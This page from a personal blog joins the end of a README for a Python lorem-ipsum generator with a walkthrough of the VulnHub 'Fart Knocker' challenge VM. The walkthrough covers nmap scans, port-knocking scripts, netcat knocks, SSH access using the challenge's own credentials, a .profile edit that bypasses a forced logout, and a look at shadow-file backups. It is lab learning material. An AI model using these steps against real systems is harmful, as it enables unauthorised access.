<div class="highlight"><pre><span></span><code>$ ./localipsum.py -h
usage: localipsum.py [-h] [--paragraphs] [--sentences] [--words] [--lorem] integer
Localispum is a simple program providing sample text generating from your own
dictionaries
...
</code></pre></div>
<p>The program take in argument a integer and a "type" of text. The available
"type" of text are:</p>
<ul>
<li>words (--words, -w)</li>
<li>sentences (--sentences, -s)</li>
<li>paragraphs (--paragraphs, -p)</li>
</ul>
<p>The integer will indicate how many quantity of this object it should print.</p>
<p>An optional argument (--lorem, -l) will put "Lorem ipsum dolor sit amet," at the
beginning of the generated text.</p>
<p>And for instance:</p>
<div class="highlight"><pre><span></span><code>$ ./localipsum.py --sentences 5
Crutch's just dissociable pick, janitors contractions appropriating multipliers
beguiling patrimonial escorted opalescent penetrations coweringly forging await
furtive northland roves humidification relentlessly tomb's will. Styrofoam
pediatric exposer incubator's exam alibi's misnomer, vi scope armpits swung
commutative osteopathic serving chortle dreading rates composite chalked expose
agreer preconceive magnanimity railroad. Filmstrip gases flatulent incant
footstep purchasing, gyroscope's furtiveness nun putnam pungent genuineness
equator's far transference. Carla bhutan, soundings protect jabbing knower
pyramids reintroducing riven cumbersome. Siltstone consider amphibole,
incident's cherub clam's should carolingian expired abatement charlemagne.
</code></pre></div>
<h2>Dictionaries</h2>
<p>The program use the dictionaries from the <code>./locations</code> file (one path per
line). Some basic dictionaries are already in it.</p>
<h3>/usr/share/dict/</h3>
<p>This directory may contain dictionaries on Unix system, on my own it contain a
dictionary for passwords cracking.</p>
<h3>Firefox</h3>
<p>The Firefox dictionaries are located in a file like:
<code>~/.mozilla/firefox/xxxxxxxx.default/extensions/fr-dicollecte@dictionaries.addons.mozilla.org/dictionaries/</code>
where xxxxxxxx is the identifier of your Firefox profile.</p>
<p>If you have more than one profile each one will have a different name.</p>
<h3>vim</h3>
<p>The vim dictionaries are <code>spl</code> and <code>sug</code> files. The main ones are located in a
path like <code>/usr/share/vim/vimXX/spell/</code> where XX is your version of vim (for me
it is 74 right now).</p>
<p>Your personal dictionaries are located in <code>~/.vim/spell/</code>.</p>
<p>This files are not directly readable in python. The command <code>vim -c spelldump</code>
let you display the current dictionary in a vim buffer. From there it is quit
simple to redirect it to a file. Nevertheless this suppose that vim is install
on the system and the file are not clean and include lots of non word in them.</p>
<p>I choose not to include them in the program for now.</p>
<h2>Technical stuff</h2>
<p>The program is written in python 3, it is actually 128 lines written in 29
commits.</p>
<p>It supposes that that the paths are Unix like.</p>
<h3>Random generation</h3>
<p>The <strong>words</strong> are chosen with the <code>random.randint(0, len(dictionaries)-1)</code> function.
We also put a comma if there is more than 7 words. This comma is placed randomly
with more and more probability to be place as the words are generated.</p>
<p>In order to generate <strong>sentences</strong>, we suppose that one sentence is composed of 10
to 25 words.</p>
<p>In order to generate <strong>paragraphs</strong>, we suppose that one paragraph is composed from
4 to 8 sentences.</p>Vulnhub - Fart Knocker2015-06-16T23:30:00+02:002015-06-16T23:30:00+02:00maggicktag:maggick.fr,2015-06-16:/2015/06/vulnhub-fart-knocker.html<p><img alt="beavis and butthead" class="align-left" src="/media/2015.06/beavis_butthead.jpg" width="262"/></p>
<p>I continued to play with the vulnhub virtual machine an started the
<a href="https://www.vulnhub.com/entry/tophatsec-fartknocker,115/">TopHatSec - Fart Knocker</a>.
This VM is an Ubuntu 14.04 32 bits.</p>
<p>The goal of this challenge is to break into the machine and root it.</p>
<blockquote>
<p>If you beat the box then please shoot me an email! Have fun guys!
P.S. I got the word "Fart Knocker" from watching beavis and butthead back in the
day. Otherwise you kids might not understand :)</p>
</blockquote>
<p><img alt="beavis and butthead" class="align-left" src="/media/2015.06/beavis_butthead.jpg" width="262"/></p>
<p>I continued to play with the vulnhub virtual machine an started the
<a href="https://www.vulnhub.com/entry/tophatsec-fartknocker,115/">TopHatSec - Fart Knocker</a>.
This VM is an Ubuntu 14.04 32 bits.</p>
<p>The goal of this challenge is to break into the machine and root it.</p>
<blockquote>
<p>If you beat the box then please shoot me an email! Have fun guys!
P.S. I got the word "Fart Knocker" from watching beavis and butthead back in the
day. Otherwise you kids might not understand :)</p>
</blockquote>
<h1>Discovery</h1>
<p>First of all we determine the VM IP address a with a simple <code>nmap -sP</code>.</p>
<h2>Nmap</h2>
<p>As always we start by <a href="http://nmap.org/">nmaping</a> the server in order to see the open ports:</p>
<div class="highlight"><pre><span></span><code><span class="p">[</span><span class="nx">maggick</span><span class="err">@</span><span class="nx">arch</span><span class="w"> </span><span class="nx">FartKnocker</span><span class="p">]</span><span class="err">$</span><span class="w"> </span><span class="nx">nmap</span><span class="w"> </span><span class="o">-</span><span class="nx">A</span><span class="w"> </span><span class="m m-Double">10.0.2.6</span>
<span class="err">#</span><span class="w"> </span><span class="nx">Nmap</span><span class="w"> </span><span class="m m-Double">6.47</span><span class="w"> </span><span class="nx">scan</span><span class="w"> </span><span class="nx">initiated</span><span class="w"> </span><span class="nx">Thu</span><span class="w"> </span><span class="nx">Apr</span><span class="w"> </span><span class="mi">23</span><span class="w"> </span><span class="mi">16</span><span class="p">:</span><span class="mi">21</span><span class="p">:</span><span class="mi">05</span><span class="w"> </span><span class="mi">2015</span><span class="w"> </span><span class="k">as</span><span class="p">:</span><span class="w"> </span><span class="nx">nmap</span><span class="w"> </span><span class="o">-</span><span class="nx">oA</span><span class="w"> </span><span class="nx">nmap</span><span class="w"> </span><span class="o">-</span><span class="nx">A</span><span class="w"> </span><span class="m m-Double">10.0.2.6</span>
<span class="nx">Nmap</span><span class="w"> </span><span class="nx">scan</span><span class="w"> </span><span class="nx">report</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="m m-Double">10.0.2.6</span>
<span class="nx">Host</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="nx">up</span><span class="w"> </span><span class="p">(</span><span class="m m-Double">0.0034</span><span class="nx">s</span><span class="w"> </span><span class="nx">latency</span><span class="p">).</span>
<span class="nx">Not</span><span class="w"> </span><span class="nx">shown</span><span class="p">:</span><span class="w"> </span><span class="mi">999</span><span class="w"> </span><span class="nx">closed</span><span class="w"> </span><span class="nx">ports</span>
<span class="nx">PORT</span><span class="w"> </span><span class="nx">STATE</span><span class="w"> </span><span class="nx">SERVICE</span><span class="w"> </span><span class="nx">VERSION</span>
<span class="mi">80</span><span class="o">/</span><span class="nx">tcp</span><span class="w"> </span><span class="nx">open</span><span class="w"> </span><span class="nx">http</span><span class="w"> </span><span class="nx">Apache</span><span class="w"> </span><span class="nx">httpd</span><span class="w"> </span><span class="m m-Double">2.4.7</span><span class="w"> </span><span class="p">((</span><span class="nx">Ubuntu</span><span class="p">))</span>
<span class="o">|</span><span class="nx">_http</span><span class="o">-</span><span class="nx">title</span><span class="p">:</span><span class="w"> </span><span class="nx">Site</span><span class="w"> </span><span class="nx">doesn</span><span class="err">'</span><span class="nx">t</span><span class="w"> </span><span class="nx">have</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">title</span><span class="w"> </span><span class="p">(</span><span class="nx">text</span><span class="o">/</span><span class="nx">html</span><span class="p">).</span>
<span class="nx">Service</span><span class="w"> </span><span class="nx">detection</span><span class="w"> </span><span class="nx">performed</span><span class="p">.</span><span class="w"> </span><span class="nx">Please</span><span class="w"> </span><span class="nx">report</span><span class="w"> </span><span class="nx">any</span><span class="w"> </span><span class="nx">incorrect</span><span class="w"> </span><span class="nx">results</span><span class="w"> </span><span class="nx">at</span><span class="w"> </span><span class="nx">http</span><span class="p">:</span><span class="c1">//nmap.org/submit/ .</span>
<span class="err">#</span><span class="w"> </span><span class="nx">Nmap</span><span class="w"> </span><span class="nx">done</span><span class="w"> </span><span class="nx">at</span><span class="w"> </span><span class="nx">Thu</span><span class="w"> </span><span class="nx">Apr</span><span class="w"> </span><span class="mi">23</span><span class="w"> </span><span class="mi">16</span><span class="p">:</span><span class="mi">21</span><span class="p">:</span><span class="mi">12</span><span class="w"> </span><span class="mi">2015</span><span class="w"> </span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="nx">IP</span><span class="w"> </span><span class="nx">address</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="w"> </span><span class="nx">host</span><span class="w"> </span><span class="nx">up</span><span class="p">)</span><span class="w"> </span><span class="nx">scanned</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="m m-Double">6.98</span><span class="w"> </span><span class="nx">seconds</span>
</code></pre></div>
<p>Only the port 80 is open with an HTTP server.</p>
<p>As always I had launch a <a href="https://cirt.net/nikto2">nikto</a> against the server
but no interesting result.</p>
<h1>Exploitation</h1>
<p>We go to the web page and only found a pcap file which is a capture of some
network traffic.</p>
<h2>pcap1</h2>
<p>We analyse the <code>pcap1.pcap</code> file. The packets and the VM name leads us to ports
knocking. As I do not know anything about it I have done some research on internet to
understand the principle (which is quite simple: send packets to a ports sequence
will open an other port) and fund a
<a href="https://en.wikipedia.org/wiki/Port_knocking">basic script to knock</a>.
I adapt it to my need and launch it against the target. The script will knock on
the sequence ports extract from the pcap file (it is quite simple to read with
<a href="https://www.wireshark.org/">wireshark</a>):</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span><span class="n">maggick@arch FartKnocker</span><span class="o">]</span><span class="err">$</span><span class="w"> </span><span class="n">sudo</span><span class="w"> </span><span class="n">python2</span><span class="w"> </span><span class="n">script</span><span class="p">.</span><span class="n">py</span>
<span class="nl">WARNING</span><span class="p">:</span><span class="w"> </span><span class="k">No</span><span class="w"> </span><span class="n">route</span><span class="w"> </span><span class="k">found</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">IPv6</span><span class="w"> </span><span class="n">destination</span><span class="w"> </span><span class="o">::</span><span class="w"> </span><span class="p">(</span><span class="k">no</span><span class="w"> </span><span class="k">default</span><span class="w"> </span><span class="n">route</span><span class="vm">?</span><span class="p">)</span>
<span class="o">[</span><span class="n">*</span><span class="o">]</span><span class="w"> </span><span class="n">Knocking</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="mf">10.0.2.6</span><span class="err">:</span><span class="mi">7000</span>
<span class="o">[</span><span class="n">*</span><span class="o">]</span><span class="w"> </span><span class="n">Knocking</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="mf">10.0.2.6</span><span class="err">:</span><span class="mi">8000</span>
<span class="o">[</span><span class="n">*</span><span class="o">]</span><span class="w"> </span><span class="n">Knocking</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="mf">10.0.2.6</span><span class="err">:</span><span class="mi">9000</span>
<span class="o">[</span><span class="n">*</span><span class="o">]</span><span class="w"> </span><span class="n">Knocking</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="mf">10.0.2.6</span><span class="err">:</span><span class="mi">7000</span>
<span class="o">[</span><span class="n">*</span><span class="o">]</span><span class="w"> </span><span class="n">Knocking</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="mf">10.0.2.6</span><span class="err">:</span><span class="mi">8000</span>
<span class="o">[</span><span class="n">*</span><span class="o">]</span><span class="w"> </span><span class="n">Knocking</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="mf">10.0.2.6</span><span class="err">:</span><span class="mi">9000</span>
<span class="o">[</span><span class="n">*</span><span class="o">]</span><span class="w"> </span><span class="n">Knocking</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="mf">10.0.2.6</span><span class="err">:</span><span class="mi">8888</span>
<span class="o">[</span><span class="n">*</span><span class="o">]</span><span class="w"> </span><span class="n">Scanning</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">open</span><span class="w"> </span><span class="n">ports</span><span class="w"> </span><span class="k">using</span><span class="w"> </span><span class="n">nmap</span>
</code></pre></div>
<p>A <a href="http://nmap.org/">nmap</a> scan is launched after the knocking sequence to see
what port will open:</p>
<div class="highlight"><pre><span></span><code><span class="nx">Starting</span><span class="w"> </span><span class="nx">Nmap</span><span class="w"> </span><span class="m m-Double">6.47</span><span class="w"> </span><span class="p">(</span><span class="w"> </span><span class="nx">http</span><span class="p">:</span><span class="c1">//nmap.org ) at 2015-04-27 16:35 CEST</span>
<span class="nx">Nmap</span><span class="w"> </span><span class="nx">scan</span><span class="w"> </span><span class="nx">report</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="m m-Double">10.0.2.6</span>
<span class="nx">Host</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="nx">up</span><span class="w"> </span><span class="p">(</span><span class="m m-Double">0.00060</span><span class="nx">s</span><span class="w"> </span><span class="nx">latency</span><span class="p">).</span>
<span class="nx">Not</span><span class="w"> </span><span class="nx">shown</span><span class="p">:</span><span class="w"> </span><span class="mi">998</span><span class="w"> </span><span class="nx">closed</span><span class="w"> </span><span class="nx">ports</span>
<span class="nx">PORT</span><span class="w"> </span><span class="nx">STATE</span><span class="w"> </span><span class="nx">SERVICE</span><span class="w"> </span><span class="nx">VERSION</span>
<span class="mi">80</span><span class="o">/</span><span class="nx">tcp</span><span class="w"> </span><span class="nx">open</span><span class="w"> </span><span class="nx">http</span><span class="w"> </span><span class="nx">Apache</span><span class="w"> </span><span class="nx">httpd</span><span class="w"> </span><span class="m m-Double">2.4.7</span><span class="w"> </span><span class="p">((</span><span class="nx">Ubuntu</span><span class="p">))</span>
<span class="mi">8888</span><span class="o">/</span><span class="nx">tcp</span><span class="w"> </span><span class="nx">open</span><span class="w"> </span><span class="nx">sun</span><span class="o">-</span><span class="nx">answerbook</span><span class="p">?</span>
<span class="nx">Service</span><span class="w"> </span><span class="nx">detection</span><span class="w"> </span><span class="nx">performed</span><span class="p">.</span><span class="w"> </span><span class="nx">Please</span><span class="w"> </span><span class="nx">report</span><span class="w"> </span><span class="nx">any</span><span class="w"> </span><span class="nx">incorrect</span><span class="w"> </span><span class="nx">results</span><span class="w"> </span><span class="nx">at</span><span class="w"> </span><span class="nx">http</span><span class="p">:</span><span class="c1">//nmap.org/submit/ .</span>
<span class="nx">Nmap</span><span class="w"> </span><span class="nx">done</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="nx">IP</span><span class="w"> </span><span class="nx">address</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="w"> </span><span class="nx">host</span><span class="w"> </span><span class="nx">up</span><span class="p">)</span><span class="w"> </span><span class="nx">scanned</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="m m-Double">6.43</span><span class="w"> </span><span class="nx">seconds</span>
</code></pre></div>
<p>This port run an other HTTP service which give us a second url <code>/burgerworld</code>
and a second pcap file.</p>
<h2>pcap2</h2>
<p>After trying a bit to replay and understand the file I used the follow TCP
stream function from <a href="https://www.wireshark.org">wireshark</a>, and the following
appears:</p>
<p><img alt="eins drei drei sieben" src="/media/2015.06/beavis.jpg"/></p>
<p><strong>eins drei drei sieben</strong> means one, three, three, seven (7 years of German at least
useful, well it was of some use during the NDH qualifications too).</p>
<p>Once again we knock on port 1, 3, 3 and 7, the port 1337 open and show us an
other URL: <code>/iamcornholio/</code>. We got some code looking like base64.</p>
<h2>base64</h2>
<p>The code is: T3BlbiB1cCBTU0g6IDg4ODggOTk5OSA3Nzc3IDY2NjYK which is (after
base64 decode) "Open up SSH: 8888 9999 7777 6666". Once more, port knocking on
port 8888, 9999, 7777 and 6666. This time I simply use netcat to knock:</p>
<div class="highlight"><pre><span></span><code>nc 10.0.2.6 8888
nc 10.0.2.6 9999
nc 10.0.2.6 7777
nc 10.0.2.6 6666
</code></pre></div>
<p>Once more we launch nmap to see if a port was opened:</p>
<div class="highlight"><pre><span></span><code><span class="p">[</span><span class="nx">maggick</span><span class="err">@</span><span class="nx">arch</span><span class="w"> </span><span class="nx">FartKnocker</span><span class="p">]</span><span class="err">$</span><span class="w"> </span><span class="nx">nmap</span><span class="w"> </span><span class="o">-</span><span class="nx">A</span><span class="w"> </span><span class="m m-Double">10.0.2.6</span>
<span class="nx">Starting</span><span class="w"> </span><span class="nx">Nmap</span><span class="w"> </span><span class="m m-Double">6.47</span><span class="w"> </span><span class="p">(</span><span class="w"> </span><span class="nx">http</span><span class="p">:</span><span class="c1">//nmap.org ) at 2015-04-28 13:32 CEST</span>
<span class="nx">Nmap</span><span class="w"> </span><span class="nx">scan</span><span class="w"> </span><span class="nx">report</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="m m-Double">10.0.2.6</span>
<span class="nx">Host</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="nx">up</span><span class="w"> </span><span class="p">(</span><span class="m m-Double">0.0013</span><span class="nx">s</span><span class="w"> </span><span class="nx">latency</span><span class="p">).</span>
<span class="nx">Not</span><span class="w"> </span><span class="nx">shown</span><span class="p">:</span><span class="w"> </span><span class="mi">998</span><span class="w"> </span><span class="nx">closed</span><span class="w"> </span><span class="nx">ports</span>
<span class="nx">PORT</span><span class="w"> </span><span class="nx">STATE</span><span class="w"> </span><span class="nx">SERVICE</span><span class="w"> </span><span class="nx">VERSION</span>
<span class="mi">22</span><span class="o">/</span><span class="nx">tcp</span><span class="w"> </span><span class="nx">open</span><span class="w"> </span><span class="nx">ssh</span><span class="w"> </span><span class="p">(</span><span class="nx">protocol</span><span class="w"> </span><span class="m m-Double">2.0</span><span class="p">)</span>
<span class="o">|</span><span class="w"> </span><span class="nx">ssh</span><span class="o">-</span><span class="nx">hostkey</span><span class="p">:</span>
<span class="o">|</span><span class="w"> </span><span class="mi">1024</span><span class="w"> </span><span class="mi">8</span><span class="nx">d</span><span class="p">:</span><span class="mi">1</span><span class="nx">f</span><span class="p">:</span><span class="mi">97</span><span class="p">:</span><span class="nx">c6</span><span class="p">:</span><span class="mi">4</span><span class="nx">d</span><span class="p">:</span><span class="nx">e9</span><span class="p">:</span><span class="mi">1</span><span class="nx">d</span><span class="p">:</span><span class="mi">2</span><span class="nx">b</span><span class="p">:</span><span class="mi">5</span><span class="nx">d</span><span class="p">:</span><span class="nx">b8</span><span class="p">:</span><span class="mi">6</span><span class="nx">e</span><span class="p">:</span><span class="mi">64</span><span class="p">:</span><span class="mi">66</span><span class="p">:</span><span class="nx">bb</span><span class="p">:</span><span class="mi">48</span><span class="p">:</span><span class="mi">2</span><span class="nx">b</span><span class="w"> </span><span class="p">(</span><span class="nx">DSA</span><span class="p">)</span>
<span class="o">|</span><span class="w"> </span><span class="mi">2048</span><span class="w"> </span><span class="mi">02</span><span class="p">:</span><span class="mi">31</span><span class="p">:</span><span class="mi">1</span><span class="nx">c</span><span class="p">:</span><span class="mi">77</span><span class="p">:</span><span class="nx">aa</span><span class="p">:</span><span class="nx">c1</span><span class="p">:</span><span class="nx">f6</span><span class="p">:</span><span class="mi">2</span><span class="nx">b</span><span class="p">:</span><span class="nx">d3</span><span class="p">:</span><span class="mi">09</span><span class="p">:</span><span class="nx">f6</span><span class="p">:</span><span class="nx">e0</span><span class="p">:</span><span class="mi">63</span><span class="p">:</span><span class="nx">fe</span><span class="p">:</span><span class="nx">a9</span><span class="p">:</span><span class="mi">37</span><span class="w"> </span><span class="p">(</span><span class="nx">RSA</span><span class="p">)</span>
<span class="o">|</span><span class="nx">_</span><span class="w"> </span><span class="mi">256</span><span class="w"> </span><span class="nx">fe</span><span class="p">:</span><span class="mi">16</span><span class="p">:</span><span class="mi">33</span><span class="p">:</span><span class="nx">a4</span><span class="p">:</span><span class="mi">4</span><span class="nx">d</span><span class="p">:</span><span class="mi">7</span><span class="nx">f</span><span class="p">:</span><span class="mi">3</span><span class="nx">d</span><span class="p">:</span><span class="nx">db</span><span class="p">:</span><span class="nx">b6</span><span class="p">:</span><span class="mi">11</span><span class="p">:</span><span class="nx">d4</span><span class="p">:</span><span class="nx">b8</span><span class="p">:</span><span class="nx">c1</span><span class="p">:</span><span class="mi">32</span><span class="p">:</span><span class="nx">b6</span><span class="p">:</span><span class="mi">79</span><span class="w"> </span><span class="p">(</span><span class="nx">ECDSA</span><span class="p">)</span>
<span class="mi">80</span><span class="o">/</span><span class="nx">tcp</span><span class="w"> </span><span class="nx">open</span><span class="w"> </span><span class="nx">http</span><span class="w"> </span><span class="nx">Apache</span><span class="w"> </span><span class="nx">httpd</span><span class="w"> </span><span class="m m-Double">2.4.7</span><span class="w"> </span><span class="p">((</span><span class="nx">Ubuntu</span><span class="p">))</span>
<span class="o">|</span><span class="nx">_http</span><span class="o">-</span><span class="nx">title</span><span class="p">:</span><span class="w"> </span><span class="nx">Site</span><span class="w"> </span><span class="nx">doesn</span><span class="err">'</span><span class="nx">t</span><span class="w"> </span><span class="nx">have</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">title</span><span class="w"> </span><span class="p">(</span><span class="nx">text</span><span class="o">/</span><span class="nx">html</span><span class="p">).</span>
<span class="nx">Service</span><span class="w"> </span><span class="nx">detection</span><span class="w"> </span><span class="nx">performed</span><span class="p">.</span><span class="w"> </span><span class="nx">Please</span><span class="w"> </span><span class="nx">report</span><span class="w"> </span><span class="nx">any</span><span class="w"> </span><span class="nx">incorrect</span><span class="w"> </span><span class="nx">results</span><span class="w"> </span><span class="nx">at</span><span class="w"> </span><span class="nx">http</span><span class="p">:</span><span class="c1">//nmap.org/submit/ .</span>
<span class="nx">Nmap</span><span class="w"> </span><span class="nx">done</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="nx">IP</span><span class="w"> </span><span class="nx">address</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="w"> </span><span class="nx">host</span><span class="w"> </span><span class="nx">up</span><span class="p">)</span><span class="w"> </span><span class="nx">scanned</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="m m-Double">6.38</span><span class="w"> </span><span class="nx">seconds</span>
</code></pre></div>
<p>Well, the ssh port 22 is now open.</p>
<h2>SSH</h2>
<p>We try to connect to it:</p>
<div class="highlight"><pre><span></span><code>[maggick@arch FartKnocker]$ ssh 10.0.2.6
The authenticity of host '10.0.2.6 (10.0.2.6)' can't be established.
ECDSA key fingerprint is SHA256:uSdkKIWXcJl0j0P5Y+cAzjD9CJOFQ/NxtG8kz8ptzFE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.0.2.6' (ECDSA) to the list of known hosts.
############################################
# CONGRATS! YOU HAVE OPENED THE SSH SERVER #
# USERNAME: butthead #
# PASSWORD: nachosrule #
############################################
</code></pre></div>
<p>The password and username are given by the ssh message, we should use them
directly:</p>
<div class="highlight"><pre><span></span><code>[maggick@arch FartKnocker]$ ssh 10.0.2.6 -lbutthead
############################################
# CONGRATS! YOU HAVE OPENED THE SSH SERVER #
# USERNAME: butthead #
# PASSWORD: nachosrule #
############################################
butthead@10.0.2.6's password:
Welcome to Ubuntu 14.04.2 LTS (GNU/Linux 3.13.0-46-generic i686)
* Documentation: https://help.ubuntu.com/
Last login: Tue Mar 3 01:02:49 2015 from 192.168.56.102
You are only logging in for a split second! What do you do!
</code></pre></div>
<p>We got an ssh connection but we are logout immediately.</p>
<p><em>I will no more put the CONGRATS message for your own sanity.</em></p>
<p>We execute a command directly within the ssh command (a classic ssh feature):</p>
<div class="highlight"><pre><span></span><code>[maggick@arch FartKnocker]$ ssh 10.0.2.6 -lbutthead ls
nachos
</code></pre></div>
<p>The commands is executed, my first reaction was to read <code>/etc/passwd/</code> as the
flag was there in
<a href="https://maggick.fr/2015/04/vulnhub-freshly.html">the last TopHatSec challenge</a>
but this is not so simple this time. Nevertheless we can get a shell buy using
<code>/bin/bash/</code>. We read the <code>nachos</code> file in buttheads's home:</p>
<div class="highlight"><pre><span></span><code>cat nachos
Great job on getting this far.
Can you login as beavis or root ?
</code></pre></div>
<p>The next step seems to get a beavis or root shell from the butthead one. This a
privilege escalation.</p>
<h2>Guessing</h2>
<p><strong>Disclaimer:</strong> during my long guessing period for privilege escalation I looked at
the other writeup to see if I missed something but they all used password
bruteforce. I do not like bruteforce, so I continue looking for something else.</p>
<p>This part was the hardest of this challenge. It take me three weeks (not at full
time of course) to get over with it. I will give you some of my guessing steps:</p>
<p>First of all to get a shell we just need to modify the <code>.profil</code> file:</p>
<div class="highlight"><pre><span></span><code><span class="nv">sed</span><span class="w"> </span><span class="s1">'s/exit//'</span><span class="w"> </span><span class="o">-</span><span class="nv">i</span><span class="w"> </span>.<span class="nv">profile</span>
</code></pre></div>
<p>Let see what there is in beavis' home:</p>
<div class="highlight"><pre><span></span><code>ls /home/beavis
html
nc1.sh
ncone
nctwo
</code></pre></div>
<p>There was a lot of netcat scripts but none of them allow us to make our privilege
escalation.</p>
<p>Looking for a solution to get login as beavis, we notice that there was more
pcap files at our disposal :</p>
<div class="highlight"><pre><span></span><code>ls /var/www/html -R
/var/www/html:
burgerworld
iamcornholio
index.html
pcap1.pcap
spanishfly
/var/www/html/burgerworld:
index.html
pcap2.pcap
/var/www/html/iamcornholio:
index.html
pcap3.pcap
/var/www/html/spanishfly:
pcap4.pcap
</code></pre></div>
<p>Even more troll: there is a folder <code>/var/backups/</code> containing backups from the
<code>/etc/shadow</code> file (which could be useful to crack the password):</p>
<div class="highlight"><pre><span></span><code><span class="n">butthead</span><span class="err">@</span><span class="n">Huhuhhhhhuhuhhh</span><span class="p">:</span><span class="o">~$</span><span class="w"> </span><span class="n">ls</span><span class="w"> </span><span class="o">-</span><span class="n">la</span><span class="w"> </span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">backups</span><span class="o">/</span>
<span class="n">total</span><span class="w"> </span><span class="mi">4872</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">4096</span><span class="w"> </span><span class="n">Apr</span><span class="w"> </span><span class="mi">28</span><span class="w"> </span><span class="mi">06</span><span class="p">:</span><span class="mi">25</span><span class="w"> </span><span class="o">.</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">12</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">4096</span><span class="w"> </span><span class="n">Mar</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="mi">17</span><span class="p">:</span><span class="mi">45</span><span class="w"> </span><span class="o">..</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">7380</span><span class="w"> </span><span class="n">Mar</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="mi">23</span><span class="p">:</span><span class="mi">39</span><span class="w"> </span><span class="n">apt</span><span class="o">.</span><span class="n">extended_states</span><span class="o">.</span><span class="mi">0</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">4516724</span><span class="w"> </span><span class="n">Mar</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="mi">16</span><span class="p">:</span><span class="mi">45</span><span class="w"> </span><span class="n">aptitude</span><span class="o">.</span><span class="n">pkgstates</span><span class="o">.</span><span class="mi">0</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">437586</span><span class="w"> </span><span class="n">Mar</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="mi">23</span><span class="p">:</span><span class="mi">39</span><span class="w"> </span><span class="n">dpkg</span><span class="o">.</span><span class="n">status</span><span class="o">.</span><span class="mi">0</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-------</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">690</span><span class="w"> </span><span class="n">Mar</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="mi">00</span><span class="p">:</span><span class="mi">30</span><span class="w"> </span><span class="n">group</span><span class="o">.</span><span class="n">bak</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-------</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">shadow</span><span class="w"> </span><span class="mi">577</span><span class="w"> </span><span class="n">Mar</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="mi">00</span><span class="p">:</span><span class="mi">30</span><span class="w"> </span><span class="n">gshadow</span><span class="o">.</span><span class="n">bak</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-------</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">1143</span><span class="w"> </span><span class="n">Mar</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="mi">00</span><span class="p">:</span><span class="mi">30</span><span class="w"> </span><span class="n">passwd</span><span class="o">.</span><span class="n">bak</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-------</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">shadow</span><span class="w"> </span><span class="mi">939</span><span class="w"> </span><span class="n">Mar</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="mi">00</span><span class="p">:</span><span class="mi">30</span><span class="w"> </span><span class="n">shadow</span><span class="o">.</span><span class="n">bak</span>
</code></pre></div>
